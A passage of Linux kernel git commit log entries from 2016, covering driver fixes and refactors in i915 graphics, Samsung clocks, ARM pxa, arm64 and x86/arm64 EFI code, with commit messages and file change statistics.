Signed-off-by: Linus Walleij Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit 6d996f361bb83de25867347af230d6807de1caa7 Author: Linus Walleij Date: Wed Feb 10 09:34:32 2016 +0100 ARM: dts: add STMPE PWM to the NHK15 device tree This adds the STMPE PWM to the NHK15 device tree. Signed-off-by: Linus Walleij arch/arm/boot/dts/ste-nomadik-nhk15.dts | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) commit fbb30a5c463ff882980ce62d2ac27a0672efafb8 Author: Chris Wilson Date: Fri Sep 9 21:19:57 2016 +0100 drm/i915: Flush to GTT domain all GGTT bound objects after hibernation Recently I have been applying an optimisation to avoid stalling and clflushing GGTT objects based on their current binding. That is we only set-to-gtt-domain upon first bind. However, on hibernation the objects remain bound, but they are in the CPU domain. Currently (since commit 975f7ff42edf ("drm/i915: Lazily migrate the objects after hibernation")) we only flush scanout objects as all other objects are expected to be flushed prior to use. That breaks down in the face of the runtime optimisation above - and we need to flush all GGTT pinned objects (essentially ringbuffers). To reduce the burden of extra clflushes, we only flush those objects we cannot discard from the GGTT. Everything pinned to the scanout, or current contexts or ringbuffers will be flushed and rebound. Other objects, such as inactive contexts, will be left unbound and in the CPU domain until first use after resuming. Fixes: 7abc98fadfdd ("drm/i915: Only change the context object's domain...") Fixes: 57e885318119 ("drm/i915: Use VMA for ringbuffer tracking") References: https://bugs.freedesktop.org/show_bug.cgi?id=94722 Signed-off-by: Chris Wilson Cc: Joonas Lahtinen Cc: Mika Kuoppala Cc: David Weinehall Reviewed-by: Matthew Auld Link: http://patchwork.freedesktop.org/patch/msgid/20160909201957.2499-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem_gtt.c | 21 ++++++++++++++++----- 1 file changed, 16 insertions(+), 5 deletions(-) commit 0ce1b18c42a5b1613ad84d3bf93ee4f5bb3f8b33 Author: Shaun Tancheff Date: Fri Sep 9 11:44:19 2016 -0500 libata: Some drives failing on SCT Write Same Restrict support SCT Write Same to devices which also support ZAC where support is required. Reported-by: Mike Krinkin Signed-off-by: Shaun Tancheff Signed-off-by: Tejun Heo drivers/ata/libata-scsi.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7aab2d534e35177cb08aed4075aa200b368ad496 Author: Chris Wilson Date: Fri Sep 9 20:02:18 2016 +0100 drm/i915: Shrink objects prior to hibernation In an attempt to keep the hibernation image as same as possible, let's try and discard any unwanted pages and our own page arrays. Signed-off-by: Chris Wilson Reviewed-by: Joonas Lahtinen Link: http://patchwork.freedesktop.org/patch/msgid/20160909190218.16831-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/i915_gem.c | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) commit 09da111aef57c022ac28bb8974f41c1729102d11 Author: Takashi Iwai Date: Thu Sep 8 12:15:02 2016 +0200 ALSA: hda - Skip Realtek SKU check for Lenovo machines Realtek codec driver expects an implicit rule where either the codec SSID or the pincfg NID 0x1d contains the some information encoded in some bits. One of the expected information is there is the availability of PC beep, and the driver doesn't build up the PC beep control if this is *supposed* to be disabled there. Meanwhile, Lenovo doesn't seem to follow this requirement (yes it's non-standard after all), and the BIOS sets just the normal SSID and the pincfg values. This resulted in the lack of PC beep on a few machines, purely with a lucky or unlucky number. It didn't bother most people, but some people still demand the PC beep, as found in bug reports. This patch just adds the fixup chain to Lenovo machines to skip the SKU checks. Then the beep control will show up in the mixer, and user can still decide to enable / disable it via the standard mixer interface. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=156311 Signed-off-by: Takashi Iwai sound/pci/hda/patch_realtek.c | 2 ++ 1 file changed, 2 insertions(+) commit 7348b6ce94019548f64d54c6934d5ace3f2b50a9 Author: Tomeu Vizoso Date: Fri Sep 9 15:25:06 2016 +0200 clk: rk808: Pass the right pointer as the get_hw context Right now we are passing a pointer to a pointer to the structure that will be used to fetch the clk hw, which gets casted later to a pointer to the structure, thus getting garbage in the hw structs. Signed-off-by: Tomeu Vizoso Fixes: a8b6e85db6a6 ("clk: rk808: Migrate to clk_hw based OF and registration APIs") Signed-off-by: Stephen Boyd drivers/clk/clk-rk808.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 43fa9ba632bd90b5cf63793a461e28df6af4387a Author: Wei Yongjun Date: Thu Sep 8 15:58:04 2016 +0000 EDAC, fsl_ddr: Fix error return code in fsl_mc_err_probe() Return negative error code from the edac_mc_add_mc() error handling case instead of 0, as done elsewhere in this function. Signed-off-by: Wei Yongjun Acked-by: York Sun Cc: linux-edac Link: http://lkml.kernel.org/r/1473350284-26482-1-git-send-email-weiyj.lk@gmail.com Signed-off-by: Borislav Petkov drivers/edac/fsl_ddr_edac.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7d136731e9ba695a6cf775c3a804456eeef4527e Author: Borislav Petkov Date: Thu Sep 8 19:13:29 2016 +0200 EDAC, fsl_ddr: Add entry to MAINTAINERS Add York as the maintainer so that get_maintainers.pl can find him on patches. Signed-off-by: Borislav Petkov Acked-by: York Sun MAINTAINERS | 6 ++++++ 1 file changed, 6 insertions(+) commit 01f0c2164d4328fa45d054af0e3949dd3f472e30 Author: Borislav Petkov Date: Thu Sep 8 18:20:09 2016 +0200 EDAC: Move Doug Thompson to CREDITS Doug hasn't been active as a maintainer for a long time now. Move him to CREDITS. Thanks for all the hard work, Doug! Signed-off-by: Borislav Petkov Cc: Doug Thompson Cc: Doug Thompson CREDITS | 4 ++++ MAINTAINERS | 6 ------ 2 files changed, 4 insertions(+), 6 deletions(-) commit 05492f2fd87d0a2e6a626bf8fe002c9a11941950 Author: Will Deacon Date: Tue Sep 6 16:42:58 2016 +0100 arm64: lse: convert lse alternatives NOP padding to use __nops The LSE atomics are implemented using alternative code sequences of different lengths, and explicit NOP padding is used to ensure the patching works correctly. This patch converts the bulk of the LSE code over to using the __nops macro, which makes it slightly clearer as to what is going on and also consolidates all of the padding at the end of the various sequences. Signed-off-by: Will Deacon arch/arm64/include/asm/atomic_lse.h | 64 ++++++++++++++++--------------------- arch/arm64/include/asm/cmpxchg.h | 4 +-- arch/arm64/include/asm/spinlock.h | 27 +++++++--------- 3 files changed, 39 insertions(+), 56 deletions(-) commit f99a250cb6a3b301b101b4c0f5fcb80593bba6dc Author: Will Deacon Date: Tue Sep 6 16:40:23 2016 +0100 arm64: barriers: introduce nops and __nops macros for NOP sequences NOP sequences tend to get used for padding out alternative sections and uarch-specific pipeline flushes in errata workarounds. This patch adds macros for generating these sequences as both inline asm blocks, but also as strings suitable for embedding in other asm blocks directly. Signed-off-by: Will Deacon arch/arm64/include/asm/assembler.h | 9 +++++++++ arch/arm64/include/asm/barrier.h | 3 +++ 2 files changed, 12 insertions(+) commit 8a71f0c656e0521867931eecff54eb3a35ca65a7 Author: Will Deacon Date: Tue Sep 6 14:04:45 2016 +0100 arm64: sysreg: replace open-coded mrs_s/msr_s with {read,write}_sysreg_s Similar to our {read,write}_sysreg accessors for architected, named system registers, this patch introduces {read,write}_sysreg_s variants that can take arbitrary sys_reg output and therefore access IMPDEF registers or registers that unsupported by binutils. Reviewed-by: Mark Rutland Signed-off-by: Will Deacon arch/arm64/include/asm/cputype.h | 6 +----- arch/arm64/include/asm/sysreg.h | 15 +++++++++++++++ 2 files changed, 16 insertions(+), 5 deletions(-) commit 9ba63e3cc849cdaf3b675c47cc51fe35419e5117 Author: Robert Jarzmik Date: Sun Sep 4 20:59:45 2016 +0200 ARM: pxa: pxa_cplds: fix interrupt handling Since its initial commit, the driver is buggy for multiple interrupts handling. The translation from the former lubbock.c file was not complete, and might stall all interrupt handling when multiple interrupts occur. This is especially true when inside the interrupt handler and if a new interrupt comes and is not handled, leaving the output line still held, and not creating a transition as the GPIO block behind would expect to trigger another cplds_irq_handler() call. For the record, the hardware is working as follows. The interrupt mechanism relies on : - one status register - one mask register Let's suppose the input irq lines are called : - i_sa1111 - i_lan91x - i_mmc_cd Let's suppose the status register for each irq line is called : - status_sa1111 - status_lan91x - status_mmc_cd Let's suppose the interrupt mask for each irq line is called : - irqen_sa1111 - irqen_lan91x - irqen_mmc_cd Let's suppose the output irq line, connected to GPIO0 is called : - o_gpio0 The behavior is as follows : - o_gpio0 = not((status_sa1111 & irqen_sa1111) | (status_lan91x & irqen_lan91x) | (status_mmc_cd & irqen_mmc_cd)) => this is a N-to-1 NOR gate and multiple AND gates - irqen_* is exactly as programmed by a write to the FPGA - status_* behavior is governed by a bi-stable D flip-flop => on next FPGA clock : - if i_xxx is high, status_xxx becomes 1 - if i_xxx is low, status_xxx remains as it is - if software sets status_xxx to 0, the D flip-flop is reset => status_xxx becomes 0 => on next FPGA clock cycle, if i_xxx is high, status_xxx becomes 1 again Fixes: fc9e38c0f4d3 ("ARM: pxa: lubbock: use new pxa_cplds driver") Reported-by: Russell King Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/pxa_cplds_irqs.c | 24 +++++++++++++++--------- 1 file changed, 15 insertions(+), 9 deletions(-) commit 32f17997c1307c44f9365ed5ff4cf2b5c1e22301 Author: Robert Jarzmik Date: Mon Aug 15 00:24:55 2016 +0200 ARM: pxa: remove irq init from dt machines The init_irq and handle_irq can be declared through standard irqchip declaration and are not necessary in machine descriptions. This is another step towards the generic kernel for the pxa architecture. Signed-off-by: Robert Jarzmik Acked-by: Arnd Bergmann arch/arm/mach-pxa/generic.h | 3 --- arch/arm/mach-pxa/pxa-dt.c | 6 ------ arch/arm/mach-pxa/pxa25x.c | 11 ++++++++--- arch/arm/mach-pxa/pxa27x.c | 11 ++++++++--- arch/arm/mach-pxa/pxa3xx.c | 8 +++++++- 5 files changed, 23 insertions(+), 16 deletions(-) commit 8571110575c985b12d443288c397dba6dc7a44f5 Author: Markus Elfring Date: Thu Aug 25 18:01:37 2016 +0200 ARM: pxa: Use kmalloc_array() in pxa_pm_init() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/pm.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit e572f6491a4b8ffbf31c59e2ad0eb8ee9244bf58 Author: Petr Cvek Date: Wed Aug 17 12:36:13 2016 +0200 ARM: pxa: magician: Remove duplicated I2C pins declaration Magician has GPIO117_I2C_SCL and GPIO118_I2C_SDA pins declared twice. Signed-off-by: Petr Cvek Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/magician.c | 4 ---- 1 file changed, 4 deletions(-) commit ca26475bf02ed8562b9b46f91d3e8b52ec312541 Author: Robert Jarzmik Date: Tue Aug 2 00:01:32 2016 +0200 ARM: pxa: fix GPIO double shifts The commit 9bf448c66d4b ("ARM: pxa: use generic gpio operation instead of gpio register") from Oct 17, 2011, leads to the following static checker warning: arch/arm/mach-pxa/spitz_pm.c:172 spitz_charger_wakeup() warn: double left shift '!gpio_get_value(SPITZ_GPIO_KEY_INT) << (1 << ((SPITZ_GPIO_KEY_INT) & 31))' As Dan reported, the value is shifted three times : - once by gpio_get_value(), which returns either 0 or BIT(gpio) - once by the shift operation '<<' - a last time by GPIO_bit(gpio) which is BIT(gpio) Therefore the calculation lead to a chained or operator of : - (1 << gpio) << (1 << gpio) = (2^gpio)^gpio = 2 ^ (gpio * gpio) It is be sheer luck the former statement works, only because each gpio used is strictly smaller than 6, and therefore 2^(gpio^2) never overflows a 32 bits value, and because it is used as a boolean value to check a gpio activation. As the xxx_charger_wakeup() functions are used as a true/false detection mechanism, take that opportunity to change their prototypes from integer return value to boolean one. Fixes: 9bf448c66d4b ("ARM: pxa: use generic gpio operation instead of gpio register") Reported-by: Dan Carpenter Cc: Joe Perches Signed-off-by: Robert Jarzmik arch/arm/mach-pxa/corgi_pm.c | 13 ++++--------- arch/arm/mach-pxa/sharpsl_pm.c | 2 +- arch/arm/mach-pxa/sharpsl_pm.h | 2 +- arch/arm/mach-pxa/spitz_pm.c | 9 +++------ 4 files changed, 9 insertions(+), 17 deletions(-) commit be95d2c7d918b2b7b973378a1e92bdc6559c21f9 Author: Sylwester Nawrocki Date: Fri Sep 9 10:09:05 2016 +0200 clk: samsung: Add support for EPLL on exynos5410 This patch adds code instantiating the EPLL, which is used as the audio subsystem's root clock. The requirement to specify the external root clock in clocks property is documented. Having the consumer 'clocks' property ensures proper initialization order by explicitly specifying dependencies in DT. It prevents situations when the SoC's clock controller driver has initialized, the external oscillator clock is not yet registered and setting clock frequencies through assigned-clock-rates property doesn't work properly due to unknown external oscillator frequency. Signed-off-by: Sylwester Nawrocki Reviewed-by: Chanwoo Choi .../devicetree/bindings/clock/exynos5410-clock.txt | 21 +++-- drivers/clk/samsung/clk-exynos5410.c | 30 +++++- drivers/clk/samsung/clk-pll.c | 102 +++++++++++++++++++++ drivers/clk/samsung/clk-pll.h | 1 + 4 files changed, 144 insertions(+), 10 deletions(-) commit c17a6163647a20d22fa03c00ba8714492b0311c6 Author: Sylwester Nawrocki Date: Fri Sep 2 18:47:54 2016 +0200 clk: samsung: clk-exynos-audss: Whitespace and debug trace cleanup There is no need to log probe() completion in normal conditions so the "setup completed" log is removed. Signed-off-by: Sylwester Nawrocki drivers/clk/samsung/clk-exynos-audss.c | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) commit 2ec865b79b3852de6c663073c7a004e1fb918c3b Author: Sylwester Nawrocki Date: Fri Sep 2 18:47:45 2016 +0200 clk: samsung: clk-exynos-audss: Add exynos5410 compatible Exynos5410 Audio Subsystem Clock Controller, comparing to the already supported IP block revisions, has additionally an I2S_MST divider so a new compatible string is added. It is not clear from the Exynos5410 User's Manual released on 2012.03.09 where in the clock tree the I2S_MST clock divider can be found exactly so this clock is left unimplemented for now. Signed-off-by: Sylwester Nawrocki Documentation/devicetree/bindings/clock/clk-exynos-audss.txt | 4 +++- drivers/clk/samsung/clk-exynos-audss.c | 9 +++++++++ 2 files changed, 12 insertions(+), 1 deletion(-) commit 7c3ca061d4cfb25537d90a9ad936667b909133a0 Author: Sylwester Nawrocki Date: Fri Sep 2 18:23:47 2016 +0200 clk: samsung: clk-exynos-audss: controller variant handling rework Then variant handling is reworked to make the code simpler when more variants are added. Signed-off-by: Sylwester Nawrocki drivers/clk/samsung/clk-exynos-audss.c | 64 ++++++++++++++++++++-------------- 1 file changed, 37 insertions(+), 27 deletions(-) commit 1d9aa64c37f55d2c242f27a5788bf16a4f1578e4 Author: Sylwester Nawrocki Date: Thu Aug 18 17:01:20 2016 +0200 clk: samsung: Use common registration function for pll2550x There is no such significant differences in pll2550x PLL type to justify a separate registration function. This patch adapts exynos5440 driver to use the common function and removes samsung_clk_register_pll2550x(). Signed-off-by: Sylwester Nawrocki Reviewed-by: Krzysztof Kozlowski Reviewed-by: Chanwoo Choi drivers/clk/samsung/clk-exynos5440.c | 9 ++++-- drivers/clk/samsung/clk-pll.c | 52 ++++------------------------------ drivers/clk/samsung/clk-pll.h | 1 + include/dt-bindings/clock/exynos5440.h | 2 ++ 4 files changed, 15 insertions(+), 49 deletions(-) commit 0299042dca9689cdccfaaf00c5f64425c3ac360f Author: Sylwester Nawrocki Date: Mon Aug 22 11:14:49 2016 +0200 clk: samsung: exynos5410: Expose the peripheral DMA gate clocks These clocks are needed in order to use the PL330 peripheral DMA controllers. Signed-off-by: Sylwester Nawrocki drivers/clk/samsung/clk-exynos5410.c | 2 ++ 1 file changed, 2 insertions(+) commit e867e8fa825dd4fae2514883d77f5954d8d90991 Author: Chanwoo Choi Date: Thu Aug 25 15:57:17 2016 +0900 clk: samsung: exynos5420: Add clocks for CMU_CDREX domain This patch adds the mux/divider clocks for CMU_CDREX (DRAM Express Controller) which generates the clocks for DRAM and NoC (Network on Chip) bus. There is differnet source of MUX_MX_MSPLL_CCORE between exynos5420 and exynos5422, so each MUX_MX_MSPLL_CCORE uses the different parent source group. Signed-off-by: Chanwoo Choi Signed-off-by: Sylwester Nawrocki drivers/clk/samsung/clk-exynos5420.c | 37 ++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) commit ba9d05d9728e229eaebc68c42215ed391f473263 Author: Chanwoo Choi Date: Mon Aug 22 11:49:45 2016 +0900 clk: samsung: exynos5410: Use samsung_cmu_register_one() to simplify code This patch uses the samsung_cmu_register_one() to simplify code and move the pll/mux/div/gate data to initconst section. Signed-off-by: Chanwoo Choi Signed-off-by: Sylwester Nawrocki drivers/clk/samsung/clk-exynos5410.c | 33 +++++++++++++-------------------- 1 file changed, 13 insertions(+), 20 deletions(-) commit 7a23fa0c6a9f5abf132d015cabc9d48a6eba3957 Author: Chanwoo Choi Date: Mon Aug 22 11:49:44 2016 +0900 clk: samsung: exynos5260: Move struct samsung_cmu_info to init section This patch moves the samsung_cmu_info struct instances to initconst section, this decreases the kernel image size by 784 bytes, which makes zImage smaller by 480 bytes. The patch increases .init.rodata section size by 780 bytes but decreases .init.text section size by 1564 bytes. Size of the drivers/clk/samsung/clk-exynos5260.o object file is 29100 bytes without the patch and 28316 after applying the patch. The section size differences are as below: 15c15 < 3 .init.text 000006b8 00000000 00000000 00000034 2**2 --- > 3 .init.text 0000009c 00000000 00000000 00000034 2**2 25c25 < 8 .init.rodata 00003f6c 00000000 00000000 00002f20 2**2 --- > 8 .init.rodata 00004278 00000000 00000000 00002904 2**2 Signed-off-by: Chanwoo Choi Signed-off-by: Sylwester Nawrocki drivers/clk/samsung/clk-exynos5260.c | 350 +++++++++++++++++------------------ 1 file changed, 175 insertions(+), 175 deletions(-) commit 0a637ee61247bd4bed9b2a07568ef7a1cfc76187 Author: Lukas Wunner Date: Mon Aug 22 12:01:21 2016 +0200 x86/efi: Allow invocation of arbitrary boot services We currently allow invocation of 8 boot services with efi_call_early(). Not included are LocateHandleBuffer and LocateProtocol in particular. For graphics output or to retrieve PCI ROMs and Apple device properties, we're thus forced to use the LocateHandle + AllocatePool + LocateHandle combo, which is cumbersome and needs more code. The ARM folks allow invocation of the full set of boot services but are restricted to our 8 boot services in functions shared across arches. Thus, rather than adding just LocateHandleBuffer and LocateProtocol to struct efi_config, let's rework efi_call_early() to allow invocation of arbitrary boot services by selecting the 64 bit vs 32 bit code path in the macro itself. When compiling for 32 bit or for 64 bit without mixed mode, the unused code path is optimized away and the binary code is the same as before. But on 64 bit with mixed mode enabled, this commit adds one compare instruction to each invocation of a boot service and, depending on the code path selected, two jump instructions. (Most of the time gcc arranges the jumps in the 32 bit code path.) The result is a minuscule performance penalty and the binary code becomes slightly larger and more difficult to read when disassembled. This isn't a hot path, so these drawbacks are arguably outweighed by the attainable simplification of the C code. We have some overhead anyway for thunking or conversion between calling conventions. The 8 boot services can consequently be removed from struct efi_config. No functional change intended (for now). Example -- invocation of free_pool before (64 bit code path): 0x2d4 movq %ds:efi_early, %rdx ; efi_early 0x2db movq %ss:arg_0-0x20(%rsp), %rsi 0x2e0 xorl %eax, %eax 0x2e2 movq %ds:0x28(%rdx), %rdi ; efi_early->free_pool 0x2e6 callq *%ds:0x58(%rdx) ; efi_early->call() Example -- invocation of free_pool after (64 / 32 bit mixed code path): 0x0dc movq %ds:efi_early, %rax ; efi_early 0x0e3 cmpb $0, %ds:0x28(%rax) ; !efi_early->is64 ? 0x0e7 movq %ds:0x20(%rax), %rdx ; efi_early->call() 0x0eb movq %ds:0x10(%rax), %rax ; efi_early->boot_services 0x0ef je $0x150 0x0f1 movq %ds:0x48(%rax), %rdi ; free_pool (64 bit) 0x0f5 xorl %eax, %eax 0x0f7 callq *%rdx ... 0x150 movl %ds:0x30(%rax), %edi ; free_pool (32 bit) 0x153 jmp $0x0f5 Size of eboot.o text section: CONFIG_X86_32: 6464 before, 6318 after CONFIG_X86_64 && !CONFIG_EFI_MIXED: 7670 before, 7573 after CONFIG_X86_64 && CONFIG_EFI_MIXED: 7670 before, 8319 after Signed-off-by: Lukas Wunner Signed-off-by: Matt Fleming arch/x86/boot/compressed/eboot.c | 13 +------------ arch/x86/boot/compressed/head_32.S | 6 +++--- arch/x86/boot/compressed/head_64.S | 8 ++++---- arch/x86/include/asm/efi.h | 15 ++++++--------- 4 files changed, 14 insertions(+), 28 deletions(-) commit 27571616385af9c2d6a3e570b06baf86f5aa04b1 Author: Lukas Wunner Date: Tue Sep 6 08:05:32 2016 +0200 x86/efi: Optimize away setup_gop32/64 if unused Commit 2c23b73c2d02 ("x86/efi: Prepare GOP handling code for reuse as generic code") introduced an efi_is_64bit() macro to x86 which previously only existed for arm arches. The macro is used to choose between the 64 bit or 32 bit code path in gop.c at runtime. However the code path that's going to be taken is known at compile time when compiling for x86_32 or for x86_64 with mixed mode disabled. Amend the macro to eliminate the unused code path in those cases. Size of gop.o text section: CONFIG_X86_32: 1758 before, 1299 after CONFIG_X86_64 && !CONFIG_EFI_MIXED: 2201 before, 1406 after CONFIG_X86_64 && CONFIG_EFI_MIXED: 2201 before and after Signed-off-by: Lukas Wunner Reviewed-by: Ard Biesheuvel Signed-off-by: Matt Fleming arch/x86/include/asm/efi.h | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) commit 20ebc15e6c8f9772804fa10110bf074a7b1d25fa Author: Markus Elfring Date: Thu Aug 25 11:34:03 2016 +0200 x86/efi: Use kmalloc_array() in efi_call_phys_prolog() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus reuse the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Replace the specification of a data type by a pointer dereference to make the corresponding size determination a bit safer according to the Linux coding style convention. Signed-off-by: Markus Elfring Reviewed-by: Paolo Bonzini Cc: "H. Peter Anvin" Cc: Ingo Molnar Cc: Thomas Gleixner Cc: Julia Lawall Signed-off-by: Matt Fleming arch/x86/platform/efi/efi_64.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cb82cce7035ec22a69ab3bd4d2fe6729527ce1ca Author: Ard Biesheuvel Date: Thu Aug 25 18:17:09 2016 +0200 efi/arm64: Treat regions with WT/WC set but WB cleared as memory Currently, memory regions are only recorded in the memblock memory table if they have the EFI_MEMORY_WB memory type attribute set. In case the region is of a reserved type, it is also marked as MEMBLOCK_NOMAP, which will leave it out of the linear mapping. However, memory regions may legally have the EFI_MEMORY_WT or EFI_MEMORY_WC attributes set, and the EFI_MEMORY_WB cleared, in which case the region in question is obviously backed by normal memory, but is not recorded in the memblock memory table at all. Since it would be useful to be able to identify any UEFI reported memory region using memblock_is_memory(), it makes sense to add all memory to the memblock memory table, and simply mark it as MEMBLOCK_NOMAP if it lacks the EFI_MEMORY_WB attribute. While implementing this, let's refactor the code slightly to make it easier to understand: replace is_normal_ram() with is_memory(), and make it return true for each region that has any of the WB|WT|WC bits set. (This follows the AArch64 bindings in the UEFI spec, which state that those are the attributes that map to normal memory) Also, replace is_reserve_region() with is_usable_memory(), and only invoke it if the region in question was identified as memory by is_memory() in the first place. The net result is the same (only reserved regions that are backed by memory end up in the memblock memory table with the MEMBLOCK_NOMAP flag set) but carried out in a more straightforward way. Finally, we remove the trailing asterisk in the EFI debug output. Keeping it clutters the code, and it serves no real purpose now that we no longer temporarily reserve BootServices code and data regions like we did in the early days of EFI support on arm64 Linux (which it inherited from the x86 implementation) Signed-off-by: Ard Biesheuvel Reviewed-by: Leif Lindholm Tested-by: James Morse Reviewed-by: James Morse Signed-off-by: Matt Fleming drivers/firmware/efi/arm-init.c | 32 +++++++++++++++++--------------- 1 file changed, 17 insertions(+), 15 deletions(-) commit ff6301dabc3ca20ab8f50f8d0252ac05da610d89 Author: Ivan Hu Date: Thu Aug 25 11:15:31 2016 +0800 efi: Add efi_test driver for exporting UEFI runtime service interfaces This driver is used by the Firmware Test Suite (FWTS) for testing the UEFI runtime interfaces readiness of the firmware. This driver exports UEFI runtime service interfaces into userspace, which allows to use and test UEFI runtime services provided by the firmware. This driver uses the efi. function pointers directly instead of going through the efivar API to allow for direct testing of the UEFI runtime service interfaces provided by the firmware. Details for FWTS are available from, Signed-off-by: Ivan Hu Cc: joeyli Cc: Ricardo Neri Cc: Ard Biesheuvel Signed-off-by: Matt Fleming MAINTAINERS | 7 + drivers/firmware/efi/Kconfig | 17 + drivers/firmware/efi/Makefile | 1 + drivers/firmware/efi/test/Makefile | 1 + drivers/firmware/efi/test/efi_test.c | 749 +++++++++++++++++++++++++++++++++++ drivers/firmware/efi/test/efi_test.h | 110 +++++ 6 files changed, 885 insertions(+) commit 3dad6f7f6975387f53f1a772f29f54335563d93d Author: Ricardo Neri Date: Tue Aug 16 17:32:31 2016 -0700 x86/efi: Defer efi_esrt_init until after memblock_x86_fill Commit 7b02d53e7852 ("efi: Allow drivers to reserve boot services forever") introduced a new efi_mem_reserve to reserve the boot services memory regions forever. This reservation involves allocating a new EFI memory range descriptor. However, allocation can only succeed if there is memory available for the allocation. Otherwise, error such as the following may occur: esrt: Reserving ESRT space from 0x000000003dd6a000 to 0x000000003dd6a010. Kernel panic - not syncing: ERROR: Failed to allocate 0x9f0 bytes below \ 0x0. CPU: 0 PID: 0 Comm: swapper Not tainted 4.7.0-rc5+ #503 0000000000000000 ffffffff81e03ce0 ffffffff8131dae8 ffffffff81bb6c50 ffffffff81e03d70 ffffffff81e03d60 ffffffff8111f4df 0000000000000018 ffffffff81e03d70 ffffffff81e03d08 00000000000009f0 00000000000009f0 Call Trace: [] dump_stack+0x4d/0x65 [] panic+0xc5/0x206 [] memblock_alloc_base+0x29/0x2e [] memblock_alloc+0xb/0xd [] efi_arch_mem_reserve+0xbc/0x134 [] efi_mem_reserve+0x2c/0x31 [] ? efi_mem_reserve+0x2c/0x31 [] efi_esrt_init+0x19e/0x1b4 [] efi_init+0x398/0x44a [] setup_arch+0x415/0xc30 [] start_kernel+0x5b/0x3ef [] x86_64_start_reservations+0x2f/0x31 [] x86_64_start_kernel+0xea/0xed ---[ end Kernel panic - not syncing: ERROR: Failed to allocate 0x9f0 bytes below 0x0. An inspection of the memblock configuration reveals that there is no memory available for the allocation: MEMBLOCK configuration: memory size = 0x0 reserved size = 0x4f339c0 memory.cnt = 0x1 memory[0x0] [0x00000000000000-0xffffffffffffffff], 0x0 bytes on node 0\ flags: 0x0 reserved.cnt = 0x4 reserved[0x0] [0x0000000008c000-0x0000000008c9bf], 0x9c0 bytes flags: 0x0 reserved[0x1] [0x0000000009f000-0x000000000fffff], 0x61000 bytes\ flags: 0x0 reserved[0x2] [0x00000002800000-0x0000000394bfff], 0x114c000 bytes\ flags: 0x0 reserved[0x3] [0x000000304e4000-0x00000034269fff], 0x3d86000 bytes\ flags: 0x0 This situation can be avoided if we call efi_esrt_init after memblock has memory regions for the allocation. Also, the EFI ESRT driver makes use of early_memremap'pings. Therfore, we do not want to defer efi_esrt_init for too long. We must call such function while calls to early_memremap are still valid. A good place to meet the two aforementioned conditions is right after memblock_x86_fill, grouped with other EFI-related functions. Reported-by: Scott Lawson Signed-off-by: Ricardo Neri Cc: Ard Biesheuvel Cc: Peter Jones Signed-off-by: Matt Fleming arch/x86/kernel/setup.c | 1 + arch/x86/platform/efi/efi.c | 2 -- 2 files changed, 1 insertion(+), 2 deletions(-) commit 9d80448ac92b720512c415265597d349d8b5c3e8 Author: Ard Biesheuvel Date: Tue Aug 16 14:13:21 2016 +0200 efi/arm64: Add debugfs node to dump UEFI runtime page tables Register the debugfs node 'efi_page_tables' to allow the UEFI runtime page tables to be inspected. Note that ARM does not have 'asm/ptdump.h' [yet] so for now, this is arm64 only. Signed-off-by: Ard Biesheuvel Acked-by: Mark Rutland Cc: Leif Lindholm Signed-off-by: Matt Fleming drivers/firmware/efi/arm-runtime.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 15cf7cae087a2eaf5e1feeef2bbba1b5a94c7639 Author: Lukas Wunner Date: Mon Aug 15 13:52:34 2016 +0200 x86/efi: Remove unused find_bits() function Left behind by commit fc37206427ce ("efi/libstub: Move Graphics Output Protocol handling to generic code"). Signed-off-by: Lukas Wunner Cc: Ard Biesheuvel Signed-off-by: Matt Fleming arch/x86/boot/compressed/eboot.c | 23 ----------------------- 1 file changed, 23 deletions(-) commit 22c2b77f419bdc9317f00b395283abd33157368e Author: Matt Fleming Date: Mon Aug 15 15:29:20 2016 +0100 fs/efivarfs: Fix double kfree() in error path Julia reported that we may double free 'name' in efivarfs_callback(), and that this bug was introduced by commit 0d22f33bc37c ("efi: Don't use spinlocks for efi vars"). Move one of the kfree()s until after the point at which we know we are definitely on the success path. Reported-by: Julia Lawall Acked-by: Julia Lawall Cc: Ard Biesheuvel Cc: Sylvain Chouleur Signed-off-by: Matt Fleming fs/efivarfs/super.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 0513fe1d28e45deb39159dbeedf0660c3f0effd2 Author: Alex Thorlton Date: Fri Aug 5 18:59:35 2016 -0500 x86/efi: Map in physical addresses in efi_map_region_fixed This is a simple change to add in the physical mappings as well as the virtual mappings in efi_map_region_fixed. The motivation here is to get access to EFI runtime code that is only available via the 1:1 mappings on a kexec'd kernel. The added call is essentially the kexec analog of the first __map_region that Boris put in efi_map_region in commit d2f7cbe7b26a ("x86/efi: Runtime services virtual mapping"). Signed-off-by: Alex Thorlton Cc: Russ Anderson Cc: Dimitri Sivanich Cc: Mike Travis Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: Dave Young Cc: Borislav Petkov Signed-off-by: Matt Fleming arch/x86/platform/efi/efi_64.c | 1 + 1 file changed, 1 insertion(+) commit cf289cefbfde519bbc179a86cdc5e8cc91a0a08d Author: Lukas Wunner Date: Wed Aug 3 10:16:02 2016 +0200 